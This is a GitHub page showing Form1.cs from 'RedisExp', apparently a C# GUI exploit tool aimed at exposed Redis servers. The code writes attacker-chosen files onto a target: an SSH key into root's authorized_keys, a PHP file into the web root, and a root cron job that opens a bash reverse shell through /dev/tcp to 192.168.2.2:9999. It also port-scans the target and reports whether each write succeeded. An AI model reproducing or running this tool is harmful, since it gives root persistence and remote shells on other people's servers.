RedisExp/Form1.cs at main · 0xchang/RedisExp · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
using System.Net.Sockets;
using System.Windows.Forms;

namespace RedisExp
{
    public partial class RedisExpUI : Form
    {
        public RedisExpUI()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {

        }

        private void contentBox_TextChanged(object sender, EventArgs e)
        {
            this.contentBox.LanguageOption = RichTextBoxLanguageOptions.UIFonts;
        }


        private void expBox_TextChanged(object sender, EventArgs e)
        {
            /*
            查看info信息
            ssh公钥
            webshell
            反弹shell
             */
            if (expBox.SelectedIndex == 0)
            {
                pathBox.Text = "info查询";
            }
            else if (expBox.SelectedIndex == 1)
            {
                pathBox.Text = "/root/.ssh/authorized_keys";
                expBox.SelectedIndex = 1;
            }
            else if (expBox.SelectedIndex == 2)
            {
                pathBox.Text = "/var/www/html/redisat.php";
                contentBox.Text = "<?php phpinfo(); ?>";
            }
            else if (expBox.SelectedIndex == 3)
            {
                pathBox.Text = "/var/spool/cron/root";
                contentBox.Text = "* * * * * bash -i >& /dev/tcp/192.168.2.2/9999 0>&1";
            }
        }

        private void attackBtn_Click(object sender, EventArgs e)
        {
            string host = addressBox.Text; // The host to scan
            int port = int.Parse(portBox.Text); // The port to check
            string password = passBox.Text;

            bool isOpen = PortScanner.IsPortOpen(host, port, 2000);
            if (!isOpen)
            {
                logTextBoxAdd("端口未打开，请稍后再试");
                return;
            }
            else
            {
                logTextBoxAdd("端口已打开，开始测试");
            }
            String payloadcontent = contentBox.Text;
            RedisEx rdsexp = new RedisEx(host, port, password);
            rdsexp.setPayload(payloadcontent);
            rdsexp.setFilename(pathBox.Text);
            var chk = rdsexp.Check();
            logTextBoxAdd(chk.Item2);
            if (expBox.SelectedIndex == 0)
            {
                return;
            }
            if (!chk.Item1)
            {
                return;
            }
            if (rdsexp.Attack() == "OK")
            {
                logTextBoxAdd("写入成功");
            }
            else
            {
                logTextBoxAdd(rdsexp.Attack());
            }
        }

        private void logTextBoxAdd(String log)
        {
            logTextBox.Text = logTextBox.Text + "\n" + log;
            logTextBox.SelectionStart = logTextBox.Text.Length;
            logTextBox.ScrollToCaret();
        }
    }
}